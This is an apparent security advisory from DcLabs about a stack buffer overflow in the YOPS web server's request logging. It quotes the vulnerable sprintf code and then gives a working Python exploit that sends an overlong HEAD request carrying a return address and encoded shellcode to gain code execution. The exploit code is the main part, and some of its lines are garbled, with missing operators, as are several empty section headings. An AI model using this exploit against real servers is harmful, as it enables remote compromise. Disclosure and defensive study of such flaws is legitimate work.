[DCA-00015]
[Software]
[Vendor Product Description]
[Bug Description]
— http.c snippet —
int http_parse_request_header(char *data, struct http_request_header *h)
{
int r;
int ver, rev;
char *s, *tok, *l, *prm;
[…]
r = sscanf(h->http, " HTTP/%d.%d ", &ver, &rev);
if (r != 2)
return -400;
[…]
}
— END snippet —
— swebs.c snippet —
int swebs_record_log(int log, JOB *job)
{
int err;
time_t now;
char timestr[32];
char logrec[MAX_REQUEST_LINE_LEN + 1];
[…]
sprintf (
logrec,
"%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
job->client,
timestr,
job->hdr.request_line,
job->response_hlen,
job->response_blen_sent,
job->response_blen,
job->status
);
[…]
}
— END snippet —
[History]
[Impact]
[Affected Version]
YOPS 2009-11-30
Prior versions may also be vulnerable
[Code]
#!/usr/bin/python
server for Linux OS written in C.
HOST = "localhost"
PORT = 8888
import socket
import sys
import time
try:
BUFF_LEN = int(sys.argv[1])
except:
BUFF_LEN = 802
FIXUP_ADDR = "\x47\xce\x04\x08"
shellcode = (
"\x33\xc9\xb1\x13\xbe\xae\x88\x55\xcb\xda\xcd\xd9\x74\x24\xf4"
"\x5f\x31\x77\x0e\x03\x77\x0e\x83\x69\x8c\xb7\x3e\x44\x56\xc0"
"\x22\xf5\x2b\x7c\xcf\xfb\x22\x63\xbf\x9d\xf9\xe4\x9b\x3f\x6a"
"\x9a\x1b\xbf\x6b\x02\x74\xae\x37\xac\xd7\xba\xd7\x61\x88\xb3"
"\x39\xc2\x42\xa5\xe1\x08\x12\x70\x95\x4a\xa3\xbd\x54\xec\x8d"
"\xb8\x9f\xbd\x65\x15\x4f\x4d\x1e\x01\xa0\xd3\xb7\xbf\x37\xf0"
"\x18\x6c\xc1\x16\x28\x99\x1c\x58\x43"
)
buffer = "HEAD "
buffer += "A"BUFF_LEN
buffer += FIXUP_ADDR4
buffer += " HTTP/1.1"
stackadjust = (
"\xcb" # instruction alignment
"\xbc\x69\x69\x96\xb0" # Stack Adjustment
)
payload = buffer + stackadjust + shellcode + "\r\n\r\n"
print """
######################################
Vulnerability by: ipax
Exploit by: waKKu
Greetings to: All DcLabs members
"""
print " [+] Using BUFF_LEN -> ", str(BUFF_LEN)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print " [+] Trying to establish connection…"
s.connect((HOST, PORT))
print " [+] Sending a dummy request to initialize data…"
s.send("HEAD DcLabs HTTP/1.1\r\n\r\n")
try:
s.recv(1024)
except:
pass
s.close()
time.sleep(3)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print " [+] Sending our malicious payload…"
s.send(payload)
print " [+] Payload sent, good luck!"
s.close()
–
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br